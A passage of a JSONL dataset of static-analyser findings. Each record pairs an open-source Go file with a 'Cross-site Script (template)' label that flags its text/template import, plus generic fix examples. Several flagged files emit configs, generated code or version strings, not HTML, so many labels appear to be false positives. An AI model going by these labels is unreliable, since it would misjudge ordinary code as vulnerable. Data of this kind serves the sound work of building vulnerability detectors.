HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 24, "entireCode": "/*\nCopyright 2019 The HAProxy Ingress Controller Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage template\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\tgotemplate \"text/template\"\n)\n\n// CreateConfig ...\nfunc CreateConfig() *Config {\n\treturn &Config{}\n}\n\n// Config ...\ntype Config struct {\n\ttemplates []*template\n}\n\n// ClearTemplates ...\nfunc (c *Config) ClearTemplates() {\n\tc.templates = nil\n}\n\n// NewTemplate ...\nfunc (c *Config) NewTemplate(name, file, output string, rotate, startingBufferSize int) error {\n\ttmpl, err := gotemplate.New(name).Funcs(funcMap).ParseFiles(file)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"cannot read template file: %v\", err)\n\t}\n\tc.templates = append(c.templates, &template{\n\t\ttmpl: tmpl,\n\t\toutput: output,\n\t\trotate: rotate,\n\t\trawConfig: bytes.NewBuffer(make([]byte, 0, startingBufferSize)),\n\t})\n\treturn nil\n}\n\n// Write ...\nfunc (c *Config) Write(data interface{}) error {\n\treturn c.WriteOutput(data, \"\")\n}\n\n// WriteOutput ...\nfunc (c *Config) WriteOutput(data interface{}, output string) error {\n\tfor _, t := range c.templates {\n\t\tt.rawConfig.Reset()\n\t\tif err := t.tmpl.Execute(t.rawConfig, data); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tfor _, t := range c.templates {\n\t\tif err := t.writeToDisk(output); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\ntype template struct {\n\ttmpl *gotemplate.Template\n\toutput string\n\trotate int\n\trawConfig *bytes.Buffer\n\tconfigFiles []string\n}\n\nfunc (t *template) writeToDisk(output string) error {\n\tif output == \"\" {\n\t\toutput = t.output\n\t}\n\tif output == \"\" {\n\t\treturn fmt.Errorf(\"output file is empty, configure on NewTemplate() or use WriteOutput()\")\n\t}\n\tif t.rotate > 0 {\n\t\t// Include timestamp in rotated config file names to aid troubleshooting.\n\t\t// When using a single, ever-changing config file it was difficult\n\t\t// to know what config was loaded by any given haproxy process\n\t\t//\n\t\t// rename current config file, if exists\n\t\tif f, err := os.Stat(output); f != nil {\n\t\t\trotateTo := output + \".\" + f.ModTime().Format(\"20060102-150405.000\")\n\t\t\tif err := os.Rename(output, rotateTo); err != nil {\n\t\t\t\treturn fmt.Errorf(\"cannot rotate %s: %v\", output, err)\n\t\t\t}\n\t\t\tt.configFiles = append(t.configFiles, rotateTo)\n\t\t} else if err != nil && !os.IsNotExist(err) {\n\t\t\treturn fmt.Errorf(\"cannot rotate %s: %v\", output, err)\n\t\t}\n\t\t// remove old config files\n\t\tfor len(t.configFiles) > t.rotate {\n\t\t\tname := t.configFiles[0]\n\t\t\tif err := os.Remove(name); err != nil && !os.IsNotExist(err) {\n\t\t\t\treturn fmt.Errorf(\"cannot remove old config file %s: %v\", name, err)\n\t\t\t}\n\t\t\tt.configFiles = t.configFiles[1:]\n\t\t}\n\t}\n\tif err := ioutil.WriteFile(output, t.rawConfig.Bytes(), 0644); err != nil {\n\t\treturn fmt.Errorf(\"cannot write %s: %v\", output, err)\n\t}\n\treturn nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 24, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "5f7b67ec94ad9e39b3126f58424850351b13b9795425f7790e1b17e7c3112660", "license": {"spdx": ["BSD-3-Clause"], "repo": "derat/intransigence", "path": "render/gen/gen_filemap.go", "repo_head_hexsha": "d8718852811cc1a8c7e7b106fde1a7c750db4436", "stack_hexsha": "c695193397a0c41faef853aa5d2a76d76116aa3c", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 17, "entireCode": "// Copyright 2020 <>.\n// All rights reserved.\n\npackage main\n\nimport (\n\t\"crypto/sha256\"\n\t\"encoding/base64\"\n\t\"encoding/hex\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sort\"\n\t\"strings\"\n\t\"text/template\"\n)\n\nfunc main() {\n\tif len(os.Args) < 3 {\n\t\tfmt.Fprintf(os.Stderr, \"Usage: %s [var] [file]...\\n\", os.Args[0])\n\t}\n\n\tdata := struct {\n\t\tVar string // name for generated variable\n\t\tHash string // hash of file names and contents\n\t\tFiles map[string]string // keys are base filenames, values are data\n\t}{\n\t\tVar: os.Args[1],\n\t\tFiles: make(map[string]string),\n\t}\n\n\t// Keep a running hash of null-terminated file names and base64-encoded contents.\n\thash := sha256.New()\n\n\tpaths := append([]string{}, os.Args[2:]...)\n\tsort.Strings(paths)\n\tfor _, p := range paths {\n\t\tb, err := ioutil.ReadFile(p)\n\t\tif err != nil {\n\t\t\tlog.Fatal(\"Failed reading file: \", err)\n\t\t}\n\t\tname := filepath.Base(p)\n\t\tdata.Files[name] = string(b)\n\n\t\tprintln(name)\n\t\thash.Write([]byte(name))\n\t\thash.Write([]byte{0})\n\t\thash.Write([]byte(base64.StdEncoding.EncodeToString(b)))\n\t\thash.Write([]byte{0})\n\t}\n\n\tdata.Hash = hex.EncodeToString(hash.Sum(nil))\n\n\tif err := template.Must(template.New(\"\").Parse(strings.TrimLeft(`\n// Code generated by gen_filemap.go from {{.Hash}}. DO NOT EDIT.\n\npackage render\n\nvar {{.Var}} = map[string]string{\n{{- range $name, $val := .Files}}\n\t{{printf \"%q\" $name}}: {{printf \"%q\" $val}},\n{{- end -}}\n}\n`, \"\\n\"))).Execute(os.Stdout, &data); err != nil {\n\t\tlog.Fatal(\"Failed executing template: \", err)\n\t}\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 17, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "c723f2163fed944073ffda88d50898eec648d6025bf1b327b63c9850d62b01db", "license": {"spdx": ["Apache-2.0"], "repo": "JamesLaverack/release", "path": "pkg/kubepkg/template.go", "repo_head_hexsha": "06bf4a40143420723e45777338d4337eb52c52bd", "stack_hexsha": "3965373911f13dd38510d42996bcf5a26f443d98", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 22, "entireCode": "/*\nCopyright 2020 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage kubepkg\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"text/template\"\n\n\t\"github.com/sirupsen/logrus\"\n)\n\ntype work struct {\n\tsrc string\n\tdst string\n\tt *template.Template\n\tinfo os.FileInfo\n}\n\nfunc buildSpecs(bc *buildConfig, specDir string) ([]work, error) {\n\tvar w []work\n\n\tif err := filepath.Walk(bc.TemplateDir, func(templateFile string, f os.FileInfo, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tspecFile := filepath.Join(specDir, templateFile[len(bc.TemplateDir):])\n\t\tif specFile == specDir {\n\t\t\treturn nil\n\t\t}\n\t\tif f.IsDir() {\n\t\t\treturn os.Mkdir(specFile, f.Mode())\n\t\t}\n\t\tt, err := template.\n\t\t\tNew(\"\").\n\t\t\tFuncs(builtins).\n\t\t\tOption(\"missingkey=error\").\n\t\t\tParseFiles(templateFile)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tw = append(w, work{\n\t\t\tsrc: templateFile,\n\t\t\tdst: specFile,\n\t\t\tt: t.Templates()[0],\n\t\t\tinfo: f,\n\t\t})\n\n\t\treturn nil\n\t}); err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, w := range w {\n\t\tif err := func() error {\n\t\t\tf, err := os.OpenFile(w.dst, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer f.Close()\n\n\t\t\tif err := w.t.Execute(f, bc); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := os.Chmod(w.dst, w.info.Mode()); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t}(); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tlogrus.Info(\"Package specs have successfully been built\")\n\treturn w, nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 22, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "d15695b31e07592e2a7453286e3b7702834c90f084d39b98e89f7688e440ce77", "license": {"spdx": ["MIT"], "repo": "ground-x/slack-bot", "path": "bot/util/template.go", "repo_head_hexsha": "55f01ec71408b8abce1a61114b778a74b2be7bfd", "stack_hexsha": "1b1eb03f7403a0d977ef6b5dde2bb8cfe9d9fa96", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 5, "entireCode": "package util\n\nimport (\n\t\"bytes\"\n\t\"text/template\"\n)\n\n// TemplateFunctionProvider can be provided by Commands to register template functions to the internal parser.\n// example: \"{{ jiraTicketUrl $ticket.Key }}\" can be used in custom commands which is provided by the \"jiraCommand\"\ntype TemplateFunctionProvider interface {\n\tGetTemplateFunction() template.FuncMap\n}\n\n// Parameters is a wrapper for a map[string]string which is the default set of passing template variables\ntype Parameters map[string]string\n\nvar functions = template.FuncMap{\n\t// creates a slice out of argument\n\t\"makeSlice\": func(args ...interface{}) []interface{} {\n\t\treturn args\n\t},\n\t\"slice\": func(str string, start int, end int) string {\n\t\treturn str[start:end]\n\t},\n}\n\n// GetTemplateFunctions returns a list of the currently available template functions which can be used in definedCommands or user specific commands\nfunc GetTemplateFunctions() template.FuncMap {\n\treturn functions\n}\n\n// RegisterFunctions will add a function to any template renderer\nfunc RegisterFunctions(funcMap template.FuncMap) {\n\tfor name, function := range funcMap {\n\t\tfunctions[name] = function\n\t}\n}\n\n// CompileTemplate pre compiles a template and returns an error if an function is not available etc\nfunc CompileTemplate(temp string) (*template.Template, error) {\n\treturn template.New(temp).Funcs(functions).Parse(temp)\n}\n\n// EvalTemplate renders the template\nfunc EvalTemplate(temp *template.Template, params Parameters) (string, error) {\n\tvar buf bytes.Buffer\n\terr := temp.Execute(&buf, params)\n\n\treturn buf.String(), err\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 5, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "f3c5cf6b7d88624dad22e22ff8e64d97a2b31f2533d18baf88ea51573e7f671b", "license": {"spdx": ["MIT"], "repo": "gonzaloserrano/gql", "path": "cmd/execute.go", "repo_head_hexsha": "b059ab2b03a63c04f10f7f82341a9837a03038b2", "stack_hexsha": "a2317d4982921b1d07013bb6a8d98901fdaef26b", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 7, "entireCode": "package cmd\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"text/template\"\n\n\t\"github.com/slothking-online/gql/client\"\n)\n\nfunc formattedOutput(config Config, b []byte) (bool, error) {\n\t// Try to gracefully format output of\n\t// the query\n\tif format == \"\" {\n\t\treturn false, nil\n\t}\n\tt := template.New(\"format\")\n\tif _, err := t.Parse(format); err != nil {\n\t\treturn false, err\n\t}\n\tm := make(map[string]interface{})\n\tif err := json.Unmarshal(b, &m); err != nil {\n\t\treturn false, err\n\t}\n\tbuf := &bytes.Buffer{}\n\tif err := t.Execute(buf, m); err != nil {\n\t\treturn false, err\n\t}\n\t_, err := fmt.Fprintln(config.Output(), buf.String())\n\treturn err == nil, err\n}\n\nfunc execute(config Config, cli *client.Client, r client.Raw, out interface{}) error {\n\tdata, qerr := cli.Raw(r, out)\n\tif qerr != nil {\n\t\tif _, ok := qerr.(client.Errors); !ok {\n\t\t\treturn qerr\n\t\t}\n\t}\n\tif data != nil {\n\t\tb, err := json.MarshalIndent(data, \"\", \" \")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif ok, err := formattedOutput(config, b); !ok {\n\t\t\tif _, perr := fmt.Fprintln(config.Output(), string(b)); perr != nil {\n\t\t\t\treturn perr\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\t}\n\tif qerr != nil {\n\t\tb, merr := json.MarshalIndent(qerr, \"\", \" \")\n\t\tif merr != nil {\n\t\t\treturn merr\n\t\t}\n\t\tfmt.Fprintln(config.Error(), string(b))\n\t}\n\treturn nil\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 7, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "62135ee2597db7b06765890d1dd789d5e0aa0493aba76f51c8cd98c9b1379d4e", "license": {"spdx": ["Apache-2.0"], "repo": "brightcoder01/sqlflow", "path": "pkg/sql/codegen/xgboost/template_explain.go", "repo_head_hexsha": "1b5b75a62908c6fa17fbfd1309a502c8c613fe3d", "stack_hexsha": "44d4f575def66c34109413d020be76944e4440dc", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 17, "entireCode": "// Copyright 2020 The SQLFlow Authors. All rights reserved.\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage xgboost\n\nimport (\n\t\"text/template\"\n)\n\ntype explainFiller struct {\n\tDataSource string\n\tDatasetSQL string\n\tShapSummaryParams string\n\tFeatureFieldMetaJSON string\n\tFeatureColumnNames []string\n\tFeatureColumnCode string\n\tLabelJSON string\n\tIsPAI bool\n\tPAIExplainTable string\n}\n\nconst explainTemplateText = `\nimport json\nimport sqlflow_submitter.xgboost as xgboost_extended\nfrom sqlflow_submitter.xgboost.explain import explain\n\nfeature_field_meta = json.loads('''{{.FeatureFieldMetaJSON}}''')\nlabel_spec = json.loads('''{{.LabelJSON}}''')\nsummary_params = json.loads('''{{.ShapSummaryParams}}''')\n\nfeature_column_names = [{{range .FeatureColumnNames}}\n\"{{.}}\",\n{{end}}]\n\ntransform_fn = xgboost_extended.feature_column.ComposedColumnTransformer(feature_column_names, {{.FeatureColumnCode}})\n\nexplain(\n datasource='''{{.DataSource}}''',\n select='''{{.DatasetSQL}}''',\n\tfeature_field_meta=feature_field_meta,\n\tfeature_column_names=feature_column_names,\n label_spec=label_spec,\n summary_params=summary_params,\n is_pai=\"{{.IsPAI}}\" == \"true\",\n pai_explain_table=\"{{.PAIExplainTable}}\",\n transform_fn=transform_fn,\n feature_column_code='''{{.FeatureColumnCode}}''')\n`\n\nvar explainTemplate = template.Must(template.New(\"explain\").Parse(explainTemplateText))", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 17, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "7447ad3dd019fa71296f799717352281e216477515ffe934135f532834d244f9", "license": {"spdx": ["Apache-2.0"], "repo": "imperfectgo/common", "path": "version/info.go", "repo_head_hexsha": "51e6d57c3860a1f93e6aeef02befc049975631c5", "stack_hexsha": "ac702de0b9c274438de3c5e10b1c715a9ba7cf75", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 8, "entireCode": "package version\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"runtime\"\n\t\"strings\"\n\t\"text/template\"\n\n\t\"github.com/prometheus/client_golang/prometheus\"\n)\n\n// Build information. Populated at build-time.\nvar (\n\tVersion string\n\tRevision string\n\tBranch string\n\tBuildDate string\n\tGoVersion = runtime.Version()\n)\n\n// NewCollector returns a collector which exports metrics about current version information.\nfunc NewCollector(program string) *prometheus.GaugeVec {\n\tbuildInfo := prometheus.NewGaugeVec(\n\t\tprometheus.GaugeOpts{\n\t\t\tNamespace: program,\n\t\t\tName: \"build_info\",\n\t\t\tHelp: fmt.Sprintf(\n\t\t\t\t\"A metric with a constant '1' value labeled by version, revision, branch, and goversion from which %s was built.\",\n\t\t\t\tprogram,\n\t\t\t),\n\t\t},\n\t\t[]string{\"version\", \"revision\", \"branch\", \"goversion\"},\n\t)\n\tbuildInfo.WithLabelValues(Version, Revision, Branch, GoVersion).Set(1)\n\treturn buildInfo\n}\n\n// versionInfoTmpl contains the template used by Info.\nvar versionInfoTmpl = `\n{{.program}}, version {{.version}} (branch: {{.branch}}, revision: {{.revision}})\n build date: {{.buildDate}}\n go version: {{.goVersion}}\n`\n\n// Print returns version information.\nfunc Print(program string) string {\n\tm := map[string]string{\n\t\t\"program\": program,\n\t\t\"version\": Version,\n\t\t\"revision\": Revision,\n\t\t\"branch\": Branch,\n\t\t\"buildDate\": BuildDate,\n\t\t\"goVersion\": GoVersion,\n\t}\n\tt := template.Must(template.New(\"version\").Parse(versionInfoTmpl))\n\n\tvar buf bytes.Buffer\n\tif err := t.ExecuteTemplate(&buf, \"version\", m); err != nil {\n\t\tpanic(err)\n\t}\n\treturn strings.TrimSpace(buf.String())\n}\n\n// Info returns version, branch and revision information.\nfunc Info() string {\n\treturn fmt.Sprintf(\"(version=%s, branch=%s, revision=%s)\", Version, Branch, Revision)\n}\n\n// BuildContext returns goVersion, buildUser and buildDate information.\nfunc BuildContext() string {\n\treturn fmt.Sprintf(\"(go=%s, date=%s)\", GoVersion, BuildDate)\n}", "dangerousExampleEn": "1. import \"text/template\"\nLine 1: Data is not escaped using the text/template package.", "safeExampleEn": "1. //import \"text/template\"\n2. import \"html/template\"\nLine 2: This is secure because html/template is used instead of text/template.", "contexts": [{"lineNo": 8, "eventType": "sink", "messageKey": "gochk.XSS_TEMPLATE.GO.defect", "params": {}}]}} {"id": "51eb9aad46a1df65b5eba040cbec74198ac9ced77715dbb7a300a782edf8e235", "license": {"spdx": ["Apache-2.0"], "repo": "grepplabs/docker-it", "path": "docker_environment_value_resolver.go", "repo_head_hexsha": "ad503689e1e810c0fdfb6397aa0f5b1413daca55", "stack_hexsha": "403e80cc0629522ec4648b6c5fb8cf7051d0f970", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Cross-site Script (template)", "issueDescriptionEn": "The Go language provides two template engines, `text/template` and `html/template`. The `text/template` package does not provide any HTML escaping function. When a user input is directly inserted into HTML elements, an attacker can use unescaped HTML tags or script code to inject malicious scripts. To generate HTML outputs with `text/template`, developers need to manually escape all dynamic content, which exposes an application to XSS attacks.\nThe `html/template` package also provides an HTML escaping function to create HTML content securely in a web application. HTML escaping is crucial for web applications. Therefore, it is recommended to use the `html/template` package in web applications whenever possible.", "issueLineNumber": 10, "entireCode": "package dockerit\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"text/template\"\n)\n\nconst (\n\tqualifierHost = \"Host\" // host\n\tqualifierContainerPort = \"ContainerPort\" // exposed port within container\n\tqualifierTargetPort = \"TargetPort\" // exposed port within container\n\tqualifierHostPort = \"HostPort\" // mapped port on host\n\tqualifierPort = \"Port\" // mapped port on host\n)\n\ntype dockerEnvironmentValueResolver struct {\n\tip string\n\tcontext *dockerEnvironmentContext\n}\n\nfunc newDockerComponentValueResolver(ip string, context *dockerEnvironmentContext) *dockerEnvironmentValueResolver {\n\treturn &dockerEnvironmentValueResolver{\n\t\tip: ip,\n\t\tcontext: context,\n\t}\n}\n\nfunc (r *dockerEnvironmentValueResolver) value(m map[string]interface{}, key string) (interface{}, error) {\n\tval, ok := m[key]\n\tif !ok {\n\t\treturn nil, fmt.Errorf(\"Unknown key '%s'\", key)\n\t}\n\treturn val, nil\n}\n\nfunc (r *dockerEnvironmentValueResolver) configureContainersEnv() error {\n\n\tcontextVariables, err := r.getEnvironmentContextVariables()\n\tif err != nil {\n\t\treturn err\n\t}\n\tfor containerName, container := range r.context.containers {\n\t\tif container.EnvironmentVariables == nil {\n\t\t\tcontinue\n\t\t}\n\t\tenv := make(map[string]string)\n\t\tfor k, v := range container.EnvironmentVariables {\n\t\t\tvalue, err := r.resolveValue(fmt.Sprintf(\"DockerComponent %s Env %s\", containerName, k), v, contextVariables)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tenv[k] = value\n\t\t}\n\t\t// assign env to container\n\t\tcontainer.env = env\n\t}\n\treturn nil\n}\n\nfunc (r *dockerEnvironmentValueResolver) resolve(templateText string) (string, error) {\n\n\tcontextVariables := r.getSystemContextVariables()\n\n\tenvContextVariables, err := r.getEnvironmentContextVariables()\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\t// overwrites the same key\n\tfor k, v := range envContextVariables {\n\t\tcontextVariables[k] = v\n\t}\n\treturn r.resolveValue(\"resolve\", templateText, contextVariables)\n}\n\nfunc (r *dockerEnvironmentValueResolver) resolveValue(templateName string, templateText string, contextVariables map[string]interface{}) (string, error) {\n\n\tvar funcMap = template.FuncMap{\n\t\t\"value\": r.value,\n\t}\n\n\tt := template.New(templateName).Funcs(funcMap).Option(\"missingkey=error\")\n\tt, err := t.Parse(templateText)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\tvar b bytes.Buffer\n\terr = t.Execute(&b, &contextVariables)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn b.String(), nil\n}\n\nfunc (r *dockerEnvironmentValueResolver) getEnvironmentContextVariables() (map[string]interface{}, error) {\n\n\tresult := make(map[string]interface{})\n\tfor containerName, container := range r.context.containers {\n\t\tif container.portBindings == nil {\n\t\t\treturn nil, fmt.Errorf(\"portBindings for '%s' is not defined\", containerName)\n\t\t}\n\t\tr.appendContainerContextVariables(container.DockerComponent.Name, r.ip, result, container)\n\t\tr.appendContainerContextVariables(containerName, r.ip, result, container)\n\t}\n\treturn result, nil\n}\n\nfunc (r *dockerEnvironmentValueResolver) appendContainerContextVariables(name string, ip string, result map[string]interface{}, container *dockerContainer) {\n\tresult[fmt.Sprintf(\"%s.%s\", name, qualifierHost)] = ip\n\n\tfor _, port := range container.portBindings {\n\t\tif port.Name == \"\" || normalizeName(port.Name) == normalizeName(name) {\n\t\t\tresult[fmt.Sprintf(\"%s.%s\", name, qualifierPort)] = strconv.Itoa(port.HostPort)\n\t\t\tresult[fmt.Sprintf(\"%s.%s\", name, qualifierHostPort)] = strconv.Itoa(port.HostPort)\n\t\t\tresult[fmt.Sprintf(\"%s.%s\", name, qualifierContainerPort)] = strconv.Itoa(port.ContainerPort)\n\t\t\tresult[fmt.Sprintf(\"%s.%s\", name, qualifierTargetPort)] = strconv.Itoa(port.ContainerPort)\n\t\t}\n\t\tif port.Name != \"\" {\n\t\t\tresult[fmt.Sprintf(\"%s.%s.%s\", name, port.Name, qualifierPort)] = strconv.Itoa(port.HostPort)\n\t\t\tresult[fmt.Sprintf(\"%s.%s.%s\", name, port.Name, qualifierHostPort)] = strconv.Itoa(port.HostPort)\n\t\t\tresult[fmt.Sprintf(\"%s.%s.%s\", name, port.Name, qualifierContainerPort)] = strconv.Itoa(port.ContainerPort)\n\t\t\tresult[fmt.Sprintf(\"%s.%s.%s\", name, port.Name, qualifierTargetPort)] = strconv.Itoa(port.ContainerPort)\n\t\t}\n\t}\n\n\t// original names (no lowercase)\n\tfor _, exposedPorts := range container.DockerComponent.ExposedPorts {\n\t\tif exposedPorts.Name != \"\" {\n\t\t\tresult[fmt.Sprintf(\"%s.%s.%s\", name, exposedPorts.Name, qualifierPort)] = result[fmt.Sprintf(\"%s.%s.%s\", name, normalizeName(exposedPorts.Name), qualifierPort)]\n\t\t\tresult[fmt.Sprintf(\"%s.%s.%s\", name, exposedPorts.Name, qualifierHostPort)] = result[fmt.Sprintf(\"%s.%s.%s\", name, normalizeName(exposedPorts.Name), qualifierHostPort)]\n\t\t\tresult[fmt.Sprintf(\"%s.%s.%s\", name, exposedPorts.Name, qualifierContainerPort)] = result[fmt.Sprintf(\"%s.%s.%s\", name, normalizeName(exposedPorts.Name), qualifierContainerPort)]\n\t\t\tresult[fmt.Sprintf(\"%s.%s.%s\", name, exposedPorts.Name, qualifierTargetPort)] = result[fmt.Sprintf(\"%s.%s.%s\", name, normalizeName(exposedPorts.Name), qualifierTargetPort)]\n\t\t}\n\t}\n}\n\nfunc (r *dockerEnvironmentValueResolver) getSystemContextVariables() map[string]interface{} {\n\tresult := make(map[string]interface{})\n\tfor _, e := range os.Environ() {\n\t\tpair := strings.Split(e, \"=\")\n\t\tresult[pair[0]] = pair[1]\n\t}\n\treturn result\n}\n\nfunc (r *dockerEnvironmentValueResolver) 